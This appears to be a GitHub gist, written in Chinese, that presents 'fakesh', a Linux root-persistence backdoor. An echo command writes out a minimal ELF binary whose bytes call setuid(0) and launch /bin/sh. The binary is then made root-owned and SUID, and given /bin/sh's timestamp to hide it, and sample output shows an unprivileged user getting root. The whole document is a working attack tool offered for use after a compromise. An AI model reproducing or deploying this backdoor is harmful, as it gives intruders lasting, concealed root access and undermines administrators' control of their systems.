Skip to content

Instantly share code, notes, and snippets.

@howmp
Created March 18, 2021 14:33
Show Gist options
  • Save howmp/c0aa2a00b6c3ba142562131224223bb2 to your computer and use it in GitHub Desktop.
Save howmp/c0aa2a00b6c3ba142562131224223bb2 to your computer and use it in GitHub Desktop.
linux通过suid做权限维持

fakesh

用于linux权限维持

原理

当获得root权限之后,可对fakesh设置suid标志位

之后就可以用fakesh在低权限下获得root权限

设置suid标志位,并修改日期

echo -e -n "\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00>\x00\x01\x00\x00\x00x\x00@\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x008\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x9b\x00\x00\x00\x00\x00\x00\x00\xbe\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00H1\xffjiX\x0f\x05j;X\xe8\x08\x00\x00\x00/bin/sh\x00_H\x8dt$\x08H1\xc9\x0f\x05" > fakesh
chown 0:0 fakesh
chmod 4755 fakesh
touch fakesh -r /bin/sh

使用

fakesh -c id

输出

➜  ./fakesh -c id 
uid=0(root) gid=1000(test) ...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment